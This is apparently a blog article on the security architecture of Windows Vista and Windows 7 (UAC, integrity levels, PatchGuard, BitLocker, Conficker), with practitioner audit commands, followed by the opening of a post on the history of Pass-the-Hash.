The era's load-bearing known weakness for TPM-only mode is the cold-boot attack documented in Halderman et al., "Lest We Remember: Cold Boot Attacks on Encryption Keys," USENIX Security 2008 [@s-halderman-coldboot-jhalderm]. DRAM remanence after power-off plus low-temperature imaging let an attacker reconstruct AES keys from a system whose disk was seal-to-PCR-decrypted at boot. The architectural answer -- TPM+PIN as the configuration for any threat model that includes physical access -- is the same in 2026 as it was in 2008.

6.8 Auxiliary hardening that landed quietly

Several Vista security features did not make front-page reviews but matter for the modern stack. Session-0 isolation moved services out of the interactive user session, closing the cross-session shatter attack on services. Protected Processes for DRM media paths became the precursor of PPL (Protected Process Light), which is the substrate for LSA Protection and Credential Guard.

Windows Defender shipped as built-in antimalware (originally GIANT AntiSpyware, which Microsoft acquired in December 2004) [@s-msft-giant-press-2004]. Network Access Protection (NAP) provided the framework for posture-checking machines before allowing network access -- later superseded by conditional access and never broadly deployed. Cryptography Next Generation (CNG) replaced CryptoAPI and is the substrate every modern Windows crypto operation runs on top of. The Volume Shadow Copy refactor enabled Previous Versions in the file Properties dialog.

The Vista feature table

Vista feature	Attack class defended	Compatibility cost	Status in 2026
UAC + MIC + UIPI	Cross-integrity write, cross-integrity UI injection	Prompt fatigue; admin scripts requiring elevation	ACTIVE (MIC is the substrate of every modern Windows sandbox)
ASLR + DEP refinements	Predictable-address shellcode, stack/heap execution	JIT compilers; non-DYNAMICBASE third-party DLLs	ACTIVE (Force ASLR mandatory in Windows 10)
Inherited PatchGuard + mandatory x64 KMCS	Unsigned-driver rootkits, kernel inline patching	x86/x64 split; test-signing escape hatch	ACTIVE (BYOVD response is post-era; HVCI in Win 10 Anniversary)
Service Hardening	Service-exploit blast radius	LocalSystem-assuming legacy services	ACTIVE
Windows Resource Protection	Direct overwrite of OS files and registry	Administrators cannot directly modify system files	ACTIVE
Windows Filtering Platform	NDIS hooking, unsupported third-party network filters	Third-party firewalls and AV had to port to WFP	ACTIVE (every Windows network filter sits on WFP)
BitLocker Drive Encryption	Data-at-rest exposure on lost / stolen devices	SKU limited to Enterprise + Ultimate; TPM-only is cold-boot-vulnerable	ACTIVE (cipher modernised to AES-XTS in Windows 10)
Session-0 isolation + Protected Processes + Defender + NAP + CNG	Cross-session shatter on services, weak crypto primitives, etc.	Service authors had to handle no-interactive-desktop case	ACTIVE (CNG, Defender); NAP SUPERSEDED-BY conditional access

Eight features. Three audit-mandated corrections. One architectural shift the consumer noticed -- a prompt. The next chapter argues that the prompt the consumer hated is not the breakthrough; the integrity-level stack underneath it is.

7. UAC Is the Surface; MIC Is the Substrate

Every Vista user remembers the prompt. Almost no Vista user can describe what the prompt was actually a prompt for. The prompt is the consumer-visible surface of the integrity-level stack. The integrity-level stack is the architectural achievement -- the first OS-level Windows mechanism to recognise that the discretionary-access-control model of Cutler-era NT could not express the policy that mattered.

Recall the integrity-level SIDs from section 6.1, organised as a small table:

Integrity level	SID	Operational use
Untrusted	`S-1-16-0`	Anonymous, deeply isolated processes (rare in default Windows)
Low	`S-1-16-4096`	Sandboxed processes (IE Protected Mode tab, AppContainer in Windows 8+)
Medium	`S-1-16-8192`	Default for normal user processes
High	`S-1-16-12288`	Elevated processes after UAC consent
System	`S-1-16-16384`	Kernel-mode and the most privileged service hosts

The argument is this. Discretionary access control could not distinguish "Administrator the user" from "Administrator's freshly downloaded script" because both ran with the same access token, and a DACL only encodes which principals can perform which operations. MIC can distinguish them.

The downloaded script runs at Low integrity (web-zone provenance, set by AES and inherited by the spawned process). The user shell runs at Medium or High. The integrity-level check evaluates before the DAC and blocks the cross-integrity write regardless of what the DAC would have permitted. UIPI then closes the second class of cross-integrity attack -- window-message injection -- so the same Low-integrity process cannot use SendMessage to puppet a Medium-integrity window into doing what its DAC would not allow it to do directly.

{` // Illustrative parser. The real PowerShell command is: // whoami /groups /priv // which dumps the SIDs and privileges in the current token. The // "Mandatory Label\\Medium Mandatory Level" line carries the integrity SID.

const sampleWhoamiOutput = ` Mandatory Label\\High Mandatory Level Label S-1-16-12288 BUILTIN\\Administrators Alias S-1-5-32-544 SeLoadDriverPrivilege Load and unload device drivers Enabled SeShutdownPrivilege Shut down the system Enabled `; const intLineRe = /Mandatory Label\\\\(Low|Medium|High|System) Mandatory Level\\s+\\S+\\s+(S-1-16-\\d+)/; const m = sampleWhoamiOutput.match(intLineRe); const elevatedPrivs = ["SeLoadDriverPrivilege","SeTcbPrivilege","SeBackupPrivilege"]; const has = p => sampleWhoamiOutput.includes(p + " ") && sampleWhoamiOutput.includes("Enabled"); if (m) console.log(`Integrity level: ${m[1]} (${m[2]})`); console.log("Likely elevated:", elevatedPrivs.some(has) ? "yes" : "no"); `}

Here is what the Aha lands on. Without MIC, every later Windows containment story -- AppContainer (Windows 8 Modern Apps), the Chromium and Edge browser sandboxes, IE Protected Mode, Office Protected View, Adobe Reader's sandbox, Windows Defender Application Guard, Virtualization-Based Security and Credential Guard -- would have had to invent the per-process trust-level primitive from scratch. Every one of them inherits MIC. The prompt is throwaway; the substrate is permanent. The full integrity-level-stack history through Administrator Protection is traced in the Adminless companion post.

Key idea: UAC is the prompt the user saw. MIC is the substrate every later Windows containment story inherits. The Vista security story is not the UI consent flow most reviewers focused on -- it is the integrity-level SID on every process token and the integrity-level ACE on every securable object, evaluated before the DAC, in the access-check pipeline of every Windows release since.

The prompt the consumer hated is not the breakthrough; the integrity-level stack underneath it is.

If Vista's architecture was right, why was Vista's reception wrong? The answer is not the prompt. The answer is what the prompt interrupted -- the everyday workflow that, on XP, had been a long-uninterrupted sequence of operations the user did not realise required administrative authority. The next chapter is the polish.

8. Windows 7 as the Vista Polish

Windows 7 reached general availability on October 22, 2009. Reviews were positive in a way Vista's never were. The security architecture underneath had barely changed.

The Vista security architecture is preserved almost entirely in Windows 7. UAC, MIC, and UIPI carry forward. BitLocker carries forward, gaining BitLocker To Go for removable drives. Both WFPs (the Filtering Platform and Resource Protection) carry forward. ASLR and DEP carry forward. Service Hardening carries forward, with additional per-service-SID coverage for previously-overlooked service hosts. Mandatory x64 KMCS carries forward. The Security Center is reborn as Action Center with an aggregated maintenance surface alongside the security surface.

Windows 7 did change the integration. UAC gained a four-level slider in Control Panel -- Always Notify, Notify when programs try to make changes (the default), Notify but don't dim the desktop, and Never Notify -- and an "auto-elevate" whitelist for signed Microsoft binaries that the system trusted to elevate themselves without a consent prompt. The slider made the prompt fatigue UI-tunable for the first time. The auto-elevate whitelist, however, is the load-bearing UAC-bypass surface for the next decade.

The auto-elevate whitelist is the surface Leo Davidson's December 2009 essay (sysprep.exe loading CRYPTBASE.dll from %SystemRoot%\System32 after a bind directory redirection) attacked first, and the UACMe catalogue on GitHub maintained an ongoing inventory of roughly 70 distinct UAC-bypass techniques over the following decade. The exact count grows over time -- the GitHub repository is the authoritative reference -- and the order-of-magnitude figure should be read as engineering-folklore shorthand rather than as instrumented telemetry. See the Adminless companion post for the full bypass-technique history and for the 2024 to 2026 Administrator Protection redesign.

AppLocker arrived in Windows 7, replacing the Software Restriction Policies of Windows XP and Server 2003 with a richer rule-collection model: executable rules, MSI rules, script rules, packaged-app rules, and DLL rules, each authorable by path, file hash, or publisher [@s-msft-applocker-overview]. DirectAccess shipped as a pre-VPN seamless remote-access protocol -- ahead of its time and not widely deployed. The reason it was ahead of its time and the reason it failed to deploy widely were the same: DirectAccess required native IPv6 connectivity (with Teredo or 6to4 tunneling as the fallback for IPv4-only networks) and per-machine certificate enrollment for every endpoint and gateway, and in the 2009-to-2014 window most enterprises ran neither IPv6 nor a mature PKI, so the prerequisite stack alone disqualified the protocol from broad rollout.

Microsoft's application-control feature, first shipped in Windows 7 (and Server 2008 R2). AppLocker supersedes Software Restriction Policies with a rule-collection model spanning executables, MSIs, scripts, packaged apps, and DLLs, with each rule authorable by path, file hash, or publisher (Authenticode-signed publisher and product) [@s-msft-applocker-overview].

Vista feature	Windows 7 change	What the change cost or enabled
UAC	Four-level slider; auto-elevate whitelist for signed MS binaries	Less prompt fatigue; new bypass surface via whitelist abuse
MIC + UIPI	Unchanged	--
ASLR + DEP	Loader and policy refinements	Slightly more user-image coverage; not yet mandatory
PatchGuard + KMCS	Unchanged on x64	--
Service Hardening	Coverage extended to additional service hosts	Smaller residual blast radius
Windows Resource Protection	Unchanged	--
Windows Filtering Platform	Refinements for VPN providers	Cleaner third-party integration
BitLocker	BitLocker To Go for removable drives	Encrypted USB sticks become practical
Security Center	Reborn as Action Center	Aggregated maintenance + security surface
(new) AppLocker	Replaces Software Restriction Policies	Richer application control for enterprises

The argument is the obvious one. Windows 7's reception was broadly positive and Vista's reception was broadly negative running on substantially the same security architecture. This is the article's evidence that "user-hostile integration of a correct architecture" is a distinct failure mode from "wrong architecture," and that the integration tax is payable -- if the work is done.

Note: The Vista-era integrity-level architecture is still load-bearing on Windows 11. Every modern sandbox -- browser tab process, AppContainer for a UWP app, the Office Protected View host, the Windows Defender Application Guard container -- builds on the MIC primitive Vista shipped in January 2007. If you maintain a Windows desktop fleet, treat UAC, MIC, and per-service SIDs as the foundational defenses they are, not as legacy artifacts. Companion posts: Adminless on the integrity-level-stack arc through Administrator Protection, and Process Mitigation Policies on the post-era process-mitigations layer.

If Windows 7 proved the architecture, the era's two structural limits proved how much was left to do. The next chapter is humility.

9. Three Operating Systems, Three Answers

Microsoft was not the only operating-system vendor trying to answer the privilege-model question in this window. The same years that produced UAC produced Mac OS X 10.5 Leopard's sandbox and mainlined SELinux on Linux. Each answered the question "which operations get the elevation primitive interposed on them?" with a different default.

macOS 10.5 Leopard, October 2007

Apple shipped Leopard's "seatbelt" sandbox in October 2007, built on Robert Watson's TrustedBSD MAC framework -- the same FreeBSD-derived Mandatory Access Control plumbing that becomes App Sandbox in OS X 10.7 (Lion, 2011) and the sandbox primitive every signed Mac App Store application now runs inside. The sandbox profile language is a Scheme dialect (SBPL); a representative four-line profile reads:

(version 1)
(deny default)
(allow file-read* (subpath "/usr/lib"))
(allow network-outbound (remote tcp "*:443"))

Apple's authopen and Authorization Services APIs are closer to per-operation elevation than Vista's per-process-token model. A typical Authorization Services flow elevates a single file-modification operation -- the canonical example is editing /private/etc/hosts:

authopen -w /private/etc/hosts

The macOS model is "the user is prompted at the moment of the protected operation, the elevation is scoped to that operation, and the rest of the process continues at the user's normal privileges." Vista's model is "the user is prompted at the moment a process needs the high token, the full token is released to the entire process, and the rest of the user session continues under the filtered token."

Linux: SELinux, AppArmor, and sudo

SELinux (originally developed by the U.S. National Security Agency, released to the open-source community in December 2000, mainlined in Linux 2.6.0 in December 2003, and championed downstream by Red Hat in RHEL 4 from February 2005 onwards) is the most thoroughly developed example of Type Enforcement on a mainstream OS. The policy language uses Access Vector rules with security labels:

allow httpd_t httpd_content_t : file { read getattr open };

The semantics are explicit: a process in domain httpd_t may perform read, getattr, and open on a file with label httpd_content_t. The labels travel with the file (extended attributes on disk) and the rules live in a single compiled policy. The model is label-based MAC.

AppArmor (Immunix, then Novell, mainlined in Linux 2.6.36 on October 20, 2010 [@s-linux-2-6-36-kernelnewbies]) takes the opposite philosophical position. A profile is a list of path-based rules:

/usr/sbin/dnsmasq {
  /etc/dnsmasq.conf r,
  /var/lib/misc/dnsmasq.leases rw,
  network inet dgram,
}

The model is path-based MAC: rules apply to filesystem paths rather than to inode labels. sudo persists across both as the practical per-operation elevation primitive, and most production Linux deployments use a mix.

The SELinux-vs-AppArmor distinction is a real architectural disagreement, not a stylistic preference. Label-based MAC ties policy to the data (extended attributes follow the file) but requires that every filesystem operation preserve the labels and that the labels start correct. Path-based MAC ties policy to the file path (a path is a profile lookup key) but means the same data accessed through two different paths can get two different policy verdicts. Both forms ship in mainstream Linux distributions in 2026; the choice is usually a function of which distribution's tooling you started with.

AppArmor's mainline Linux merge is Linux 2.6.36, October 20, 2010 [@s-linux-2-6-36-kernelnewbies]. Upstream secondary references occasionally date the mainline merge to 2009, which is wrong -- 2009 was the announcement-of-intent year; the actual git merge into Linus's tree is October 20, 2010.

Three OSes, three privilege models

OS / year	Primitive	Granularity	Policy authoring	Origin lineage
Vista UAC + MIC + UIPI (Jan 2007)	Per-process token, integrity-level SID	Per-process	Manifest + UAC consent + ACL/MIC ACE	Cutler-era NT access tokens + new MIC layer
Leopard sandbox + Authorization Services (Oct 2007)	Per-operation profile + per-operation auth	Per-operation	SBPL Scheme profile + `authopen` call	TrustedBSD MAC framework
Linux SELinux / AppArmor + sudo (2003 / 2010 / forever)	MAC domain rules + path/label policies	Per-operation via MAC + per-command via sudo	AV rules / profiles / sudoers	NSA / Immunix / BSD-flavour `sudo`

The point is not which model is "better." Vista's UAC is structurally closer to sudo than its critics admitted -- the difference is that sudo is invoked explicitly by the user from a shell, while UAC interposes on operations the user expected to just work. The contrast is about which operations the platform forces through the elevation primitive, and operating systems that pick different answers end up with different reception narratives even when the underlying mechanisms are similar.

If the privilege model is choosable -- if reasonable operating systems pick different answers -- what are the structural limits NONE of the three could escape? That is the next chapter.

10. Theoretical Limits and Era-Specific Lessons

Four structural limits the era revealed. Three of the four were proved in the literature; one was proved by Conficker. None of the four were closed by 2009. Two are closed today; two are not.

Limit 1: The same-privilege paradox

PatchGuard runs at ring 0. Rootkits run at ring 0. PatchGuard is therefore fundamentally bypassable from a sufficiently privileged attacker -- and skape and Skywing's December 1, 2005 Uninformed paper demonstrated three concrete bypass technique classes against the v1 implementation [@s-skape-skywing-patchguard]. PatchGuard v2 (Vista RTM) and v3 (Vista SP1) patched the specific v1 bypasses but could not address the structural issue. The genuine architectural fix waits for Hypervisor-Protected Code Integrity in Windows 10 Anniversary Update (August 2016) and for the VBS, Pluton, and Secured-core PC architectures of Windows 11. All out of era. Part 4 of this series traces them.

Limit 2: The deployment-velocity ceiling (the Conficker bound)

Aggregate installed-base security is bounded by patch-to-field-deployment latency on the slowest cohort, not by patch-release latency. Conficker's 9-to-15-million infections in early 2009 exploited a vulnerability that had been patched for one to four months across the variants [@s-cwg-lessons-learned-2019].

This is the era-closing operational lesson. It motivates Automatic Updates becoming opt-out-by-default (XP SP2, 2004), the mature Patch Tuesday cadence, and -- much later -- the Windows-as-a-Service cumulative-update model of Windows 10 that removes the user's ability to decline updates indefinitely. All-cohort closure remains structurally unattainable as of 2026; this is the era's defining residual.

The structural upper bound on aggregate installed-base security set by patch-to-field-deployment latency on the slowest cohort of machines. A vulnerability becomes safe at population scale only when the patch has propagated to every reachable system, and the slowest cohort's propagation rate dominates the aggregate. Conficker proved that on-by-default architectural mitigations on Vista did not raise the ceiling for the XP and Server 2003 installed base; only patch propagation could. The post-era architectural response is the Windows 10 cumulative-update model.

Limit 3: The compatibility tax on defaults

Every Vista security default that broke an application became a UAC bypass surface (the auto-elevate whitelist), a driver-signing escape hatch (test-signing), or a compatibility shim (DEP OptIn). Defaults that cannot break shipping software cannot be tightened. This is the era's productive failure mode -- it explains why post-Vista security features ship with deprecation runways: mandatory ASLR took until Windows 10 to fully land, mandatory KMCS on x86 never landed at all, and Driver Signature Enforcement on x64 had to coexist with the test-signing escape hatch for the foreseeable future.

Limit 4: The user-hostility tax on correct architecture

UAC was architecturally correct and operationally hated. The Mojave Experiment (July 2008) is the era's confession that the perceptual layer matters as much as the architectural layer. Windows 7's smoothing is the article's evidence that the tax can be paid, if the work is done -- but it has to be paid every time, because the perceptual layer is not learned-once. Windows 8's Modern UI, Windows 11's UAC behaviour adjustments, and the 2024-to-2026 Administrator Protection redesign are all replays of the same question on different sets of users.

Key idea: The era's binding constraints were not the UI. They were architectural -- you cannot defend ring 0 from ring 0, and skape and Skywing proved this in December 2005 -- and operational -- you cannot patch the slowest cohort faster than the worm cadence, and Conficker proved this in late November 2008. The prompt was the symptom. The constraints were the disease. Both were unsolved when Windows 7 shipped.

The Conficker Working Group's June 2010 post-mortem named the binding constraint directly: it is not whether a patch exists, but whether deployment reaches the slowest cohort before the worm does [@s-cwg-lessons-learned-2019].

Era limit	Era-end state (Oct 2009)	2026 state	Forward link
Same-privilege paradox	OPEN	CLOSED for kernel integrity via HVCI / VBS / Pluton	Part 4
Deployment-velocity ceiling	OPEN	NARROWED via Windows-as-a-Service cumulative updates	Part 3
Compatibility tax on defaults	OPEN (per-feature deprecation runways)	OPEN; managed via mitigation slow-ramp deployment	Part 3, Part 4
User-hostility tax on correct architecture	OPEN (Windows 7 smoothed Vista)	RECURRING (re-paid each major release)	Part 6

If the era closed with two structural limits unsolved, what stayed open for the next decade to answer?

11. Open Problems at the End of the Era

Stand at an engineer's desk on Friday, October 23, 2009 -- the day after Windows 7 GA. The previous twelve months had shipped a polished consumer OS, contained Conficker (mostly), and formed an industry-coordination body for the next worm. What does the agenda look like on Monday?

Q1: How do you make the patching cadence faster than the worm cadence?

The era-end answer was a mature Patch Tuesday cadence plus the Microsoft Active Protections Program (MAPP, which gave AV vendors early access to patch details) plus Automatic Updates default-on, but the slowest-cohort lag remained. The post-era answer is the cumulative-update and Windows-as-a-Service model of Windows 10 (July 2015) plus enterprise WSUS scale-out plus the out-of-band cadence the era proved was sometimes necessary. The in-era out-of-band releases were three: the bulletin commonly cited from January 2006 patching the Windows Metafile vulnerability (MS06-001) [@s-msft-ms06-001], the April 2007 out-of-band patching the animated-cursor (.ANI) GDI parsing vulnerability (MS07-017) [@s-msft-ms07-017], and MS08-067 [@s-ms08-067].

The April 2004 LSASS bulletin (the patch that preceded Sasser) was a regular Patch Tuesday release on April 13, 2004 [@s-msft-ms04-011], not an out-of-band release. The in-era out-of-band Microsoft Security Bulletins for wormable-class or actively-exploited-class RCEs are three: the January 2006 Windows Metafile bulletin (MS06-001) [@s-msft-ms06-001], the April 3, 2007 animated-cursor (.ANI) GDI bulletin (MS07-017, patching CVE-2007-0038, which was being actively exploited via drive-by web pages) [@s-msft-ms07-017], and MS08-067 in October 2008 [@s-ms08-067]. The May 8, 2007 Windows DNS RPC RCE bulletin (MS07-029) is sometimes misremembered as an out-of-band release; it shipped on the regular Patch Tuesday cadence [@s-msft-secupdates-index].

The architectural shift the era did not make is the one Windows 10 made: removing the user's ability to indefinitely decline updates on consumer machines. This was politically impossible in 2009 and remains contested in 2026; deferred to Part 3.

Q2: How do you protect kernel integrity from kernel-level attackers?

Era-end answer: PatchGuard runs at the same ring as the attacker; structural bypassability remains. Post-era answer: Hypervisor-Protected Code Integrity in Windows 10 Anniversary Update (August 2016); Virtualization-Based Security and Credential Guard; the Microsoft Vulnerable Driver Block list (2020 onward) for the BYOVD afterlife. Deferred to Part 4.

Q3: How do you separate trust principals more finely than user accounts and integrity levels?

Era-end answer: MIC offered five integrity levels; the granularity is per-process, not per-capability. Post-era answer: AppContainer (Windows 8, which introduces capability SIDs inside a LowBox token so a process can be denied or granted individual platform capabilities such as internetClient independently of its user account); the Modern Apps and Universal Windows Platform manifest-permission model (declarative capability gating at app install time, with the manifest itself authored alongside the app and reviewed at Store submission); and the Windows Subsystem for Linux and Android trust-isolation architectures (per-distribution and per-app isolation contracts that scope filesystem, network, and IPC access to a single guest OS instance). The integrity-level primitive remains the substrate every one of these builds on. Deferred to Part 3 and Part 4.

Q4: How do you ship a security architecture without breaking the user experience?

Era-end answer: Windows 7's polish proves it can be done for one release. Post-era answer: it recurred with Windows 8's Modern UI debacle, the Windows 11 UAC behaviour adjustments, and the 2024 to 2026 Administrator Protection rollout that finally promotes UAC to a security-boundary classification -- traced in the Adminless companion post. The question is recurring -- it is solved per-release, not in principle.

Part 3 picks up the morning after Windows 7 GA with Stuxnet, Operation Aurora, the Enhanced Mitigation Experience Toolkit, and the Process Mitigations era. Part 4 traces the VBS / HVCI / Pluton / Secured-core PC arc that closes the same-privilege paradox. Part 5 covers the credential-theft and Active Directory escalation era (Mimikatz, Pass-the-Hash, the Protected Users group, Credential Guard). Part 6 covers the Administrator Protection redesign and the long arc back to UAC as a security boundary. The shared spine of all five remaining articles is the integrity-level stack Vista shipped.

Four questions on the Monday whiteboard. Three of the four have answers in Parts 3 through 6 of this series. The fourth will outlast the operating system.

12. Reading 2002 to 2008 Windows Documentation in 2026

If you inherit a Vista- or Server 2008-era environment in 2026, or maintain a kernel driver whose support matrix still includes the Vista lineage, or pick up Russinovich, Solomon, and Ionescu's Windows Internals, 5th edition [@s-windows-internals-5e] off the shelf, what should you know that the documentation will not tell you directly?

Reading a `whoami /groups /priv` output on a Vista-or-later machine

The split-token model means the elevated and unelevated tokens differ in their group memberships and privilege lists, not in a single flag. The integrity-level SID line -- Mandatory Label\Medium Mandatory Level or Mandatory Label\High Mandatory Level -- is the right place to look first. Practitioner tip: if the integrity label says High and the privilege list shows SeLoadDriverPrivilege enabled, the token is elevated. If the integrity label says Medium and the privilege list lacks SeBackupPrivilege and SeTakeOwnershipPrivilege, the token is filtered. The Microsoft Learn windows/win32/secauthz/mandatory-integrity-control page is the canonical integrity-level reference [@s-msft-mic-win32].

Reading a Security event-log entry from this era

The Event ID schema changed between XP (5xx range) and Vista (4xxx range); a Vista Event 4624 logon-success entry is not the same as an XP Event 528. The Microsoft Learn windows-security/threat-protection/auditing/ index is the canonical reference for Vista-and-later events. The closest thing to a canonical XP-to-Vista mapping table that Microsoft still publishes is the Appendix L: Events to Monitor page in the Windows Server / Active Directory documentation, whose "Current Windows Event ID" and "Legacy Windows Event ID" columns map post-Vista 4xxx-range identifiers back to their pre-Vista 5xx-range equivalents -- for example, 4624 successful logon mapping to 528/540, 4625 failed logon mapping to 529-537/539, 4634 logoff (kernel-generated when the logon session is destroyed) mapping to 538, 4647 user-initiated logoff mapping to 551, and 1102 audit log cleared mapping to 517 -- for practitioners inheriting mixed XP-and-Vista log estates [@s-msft-events-to-monitor]. Old documentation that uses the 5xx-range numbering is talking about XP and Server 2003.

Reading the MS-bulletin archive

The original microsoft.com/technet/security/bulletin/MS08-067.mspx URL scheme has migrated twice. The current canonical form is learn.microsoft.com/en-us/security-updates/securitybulletins/2008/ms08-067 [@s-ms08-067]. The parent landing URL learn.microsoft.com/en-us/security-updates/ is the working index [@s-msft-secupdates-index]; the legacy /securitybulletins/ URL returns HTTP 404 in 2026 and is one of the reasons cross-references in older books need patient redirection.

Identifying an era-shaped misconfiguration in a modern audit

Three worked examples readers can run on a Windows 10 or 11 fleet today.

A service running as LocalSystem instead of as its per-service SID. The service inventory in sc.exe qc output or Get-Service | ForEach-Object queries should show NT SERVICE\<servicename> in the principal column for any post-Vista service; if it shows LocalSystem, the service is either pre-Vista in its configuration or has been deliberately escalated. Either case warrants explanation.
An unsigned third-party kernel driver loading via the test-signing escape hatch (bcdedit /set testsigning on). Test-signing should never be enabled on production machines; the desktop watermark exists exactly to make this visible. The audit query is bcdedit /enum {current} | findstr testsigning from an elevated prompt.
A BitLocker volume without TPM+PIN protection on a system whose threat model includes physical access. TPM-only mode is vulnerable to the cold-boot attack documented in Halderman et al., USENIX Security 2008 [@s-halderman-coldboot-jhalderm]. The query is manage-bde -protectors -get C: from an elevated prompt; the output should list a numerical password recovery key plus a TPM+PIN protector for any laptop that leaves the office.

Note: bcdedit /set testsigning on is documented for driver development. It is not appropriate for production systems. A production machine with test-signing enabled accepts kernel drivers signed by certificates the system does not normally trust -- exactly the rootkit-installation path Vista x64's mandatory KMCS was designed to close [@s-msft-driver-signing]. Audit for the watermark and for the bcdedit value; if either is present on a server or end-user machine, treat it as a finding.

The reading list

Note: Parts 3 through 6 of this series each pick up where this one ends: - Part 3: Stuxnet, Operation Aurora, the Enhanced Mitigation Experience Toolkit, the cumulative-update model - Part 4: VBS, HVCI, Pluton, Secured-core PC, the closure of the same-privilege paradox - Part 5: Credential theft, Mimikatz, Pass-the-Hash, Credential Guard - Part 6: Administrator Protection and the long arc back to UAC as a security boundary Companion posts: Windows Access Control: 25 Years of Attacks, Adminless, BitLocker on Windows, Beyond BitLocker, Process Mitigation Policies.

Given the line `Mandatory Label\Medium Mandatory Level Label S-1-16-8192` and a privilege list that includes `SeShutdownPrivilege Enabled`, `SeChangeNotifyPrivilege Enabled`, `SeUndockPrivilege Enabled`, `SeTimeZonePrivilege Enabled` -- and that does NOT include `SeLoadDriverPrivilege`, `SeBackupPrivilege`, `SeTakeOwnershipPrivilege`, or `SeDebugPrivilege` -- the token is the filtered standard-user token. The user is an administrator interactively logged on, but the running shell is operating with the filtered token. To verify, open an elevated PowerShell from the same session and re-run `whoami /groups /priv`: the integrity label will read `High Mandatory Level`, the SID will be `S-1-16-12288`, and the elevated privilege set will be present.

The era is closed. The architecture is not.

13. Frequently Asked Questions

Eight common misconceptions about the era, each anchored to a corrected primary source.

No. PatchGuard shipped first in Windows XP Professional x64 Edition and Windows Server 2003 x64 Edition in April 2005 -- twenty months before Vista RTM. Vista x64 inherited PatchGuard v2; Vista SP1 shipped v3. The cite-ready primary is Microsoft Security Advisory 932596, which states explicitly that PatchGuard is "included with x64-based Windows operating systems" and reads back through XP x64 and Server 2003 x64 [@s-msft-adv-932596]. x86 editions of Vista never received PatchGuard at all. No. MS08-067 was patched out-of-band on October 23, 2008 [@s-ms08-067]. Conficker.A was first detected in late November 2008, anchored to November 20, 2008 in SRI International's technical analysis [@s-sri-conficker-c-addendum]. The first in-the-wild MS08-067 exploitation in October 2008 was Gimmiv.A, a narrower non-self-propagating Trojan, per the NVD CVE-2008-4250 entry -- not Conficker [@s-nvd-cve-2008-4250]. The patch-to-weaponisation gap is approximately twenty-nine days and is the article's load-bearing thesis evidence. No. The HTML-comment Mark-of-the-Web (``) shipped in Internet Explorer 6 Service Pack 1 in 2002. The Attachment Execution Service, two years later in XP SP2, is the system-wide enforcement substrate of the `Zone.Identifier` NTFS Alternate Data Stream -- the persistent file-system anchor that downstream tools (Office Protected View, SmartScreen, Microsoft Defender Application Control) consult to gate execution [@s-msft-iattachmentexecute]. Substrate, not ancestor. No. Russinovich's June 2007 *TechNet Magazine* article states explicitly that "elevations were introduced as a convenience" and that this very fact "prevents OTS elevations from being a security boundary" [@s-russinovich-uac-technet]. The chronologically first published Microsoft-principal record of the same disclaimer is the February 12, 2007 Mark's Blog post that anchors the multi-part TechNet blog series on the restricted-token / integrity-level discussion [@s-russinovich-psexec-blog]. The boundary classification arrives with Administrator Protection in the 2024 to 2026 Windows 11 era; see the [Adminless](/blog/adminless-how-windows-finally-made-elevation-a-security-boun/) companion post. No. Vista's ASLR was opt-in for user code via the `/DYNAMICBASE` linker flag; only system images and `/DYNAMICBASE`-linked binaries were randomised. Full mandatory ASLR for all images is a later-Windows feature -- Force ASLR in EMET and Windows 8, mandatory in Windows 10. The Shacham et al. CCS 2004 paper had already established the brute-force bound: with $n$ bits of entropy, an attacker needs expected $2^{n-1}$ attempts against a process that respawns after crash [@s-shacham-asrandom-ccs2004]; on x86 Vista's 8 bits this is roughly 128 attempts, which is why x64 ASLR (qualitatively more entropy) was the more durable defense. No. BitLocker shipped in Windows Vista Enterprise and Ultimate editions only, plus Windows Server 2008. Most Vista consumers ran Home Basic or Home Premium and got no BitLocker at all. The cipher in Vista was AES-CBC with Niels Ferguson's Elephant Diffuser, documented in his August 2006 Microsoft whitepaper [@s-ferguson-bitlocker]; later Windows releases moved to AES-XTS. The SKU limitation materially limited deployment reach for the era. No. KMCS foreclosed the dominant 2003-era unsigned-driver installation path catalogued in Hoglund and Butler [@s-hoglund-butler-rootkits] but did not address the signed-driver-with-vulnerability case. The "Bring Your Own Vulnerable Driver" afterlife became the dominant rootkit-loading path from approximately 2010 onward. Architectural closure waits for the Microsoft Vulnerable Driver Block list (Windows 10 and 11) -- post-era; Part 4 [@s-msft-driver-signing]. Windows ME and Windows 8 have competing claims. The honest framing is that Vista was one of the most poorly received Windows consumer releases of its era, and that the reception was uniquely consequential because the SP1-era enterprise inertia, the consumer-skipping that produced a large XP-to-7 leap, and the marketing problem Windows 7's launch had to solve all compounded each other. The substantive argument of this article -- that Vista's architecture was correct and Vista's integration was not, and that Windows 7 proved the integration tax is payable -- does not depend on the cross-history superlative.

Below the FAQ, a final pointer: this is Part 2 of six. Part 3 picks up the morning after Windows 7 GA with Stuxnet, Operation Aurora, the Enhanced Mitigation Experience Toolkit, and the process-mitigations era. The integrity-level stack Vista shipped in January 2007 is what every Part from here forward is built on top of.

Pass-the-Hash to Pass-the-PRT: Twenty-Nine Years of Windows Credential Replay in One Family Tree

noreply@paragmali.com (Parag Mali) — Thu, 28 May 2026 00:00:00 GMT

Twenty-nine years of Windows credential-replay attacks -- Pass-the-Hash, Pass-the-Ticket, Overpass-the-Hash, Pass-the-Certificate, Pass-the-PRT -- are a single lineage, not five techniques. Each generation finds the next long-term authentication artefact that lives outside the latest Microsoft isolation boundary, then commoditises extraction in tooling that runs anywhere with local administrator. Credential Guard (2015) and KB5014754 (2022) bought years but not closure; Pass-the-PRT (Mollema + Delpy, 2020) already defeats both because the Primary Refresh Token lives in the CloudAP plug-in, which is not inside any current isolation scope. The next decade of Windows credential theft turns on whether Microsoft extends hypervisor-based isolation to CloudAP before commodity offensive tooling makes the attack universal.

1. Two Afternoons, Twenty-Nine Years Apart

On the afternoon of Tuesday, April 8, 1997, between 5:27 p.m. and 8:57 p.m. -- a window we can narrow to about three and a half hours from the file timestamps preserved in the patch he posted -- a researcher named Paul Ashton sat down with the Samba source tree and made the smallest possible change to smbclient.The bracketing mtimes Tue Apr 8 17:27:29 1997 and Tue Apr 8 20:57:43 1997 are preserved verbatim in the unified diff's *** and --- header lines on Exploit-DB advisory 19197 [@ashton-exploitdb-19197]. You can still download the diff today and confirm the timestamps yourself. Where the unpatched client computed a network response from a typed-in password, his version read the password's LM hash from smbpasswd on disk and fed it straight to the same encryption primitive, skipping the password entirely.

He posted the diff to NTBugtraq the same evening with a five-line advisory: "A modified SMB client can mount shares on an SMB host by passing the username and corresponding LanMan hash of an account that is authorized to access the host and share. The modified SMB client removes the need for the user to 'decrypt' the password hash into its clear-text equivalent." [@ashton-exploitdb-19197]

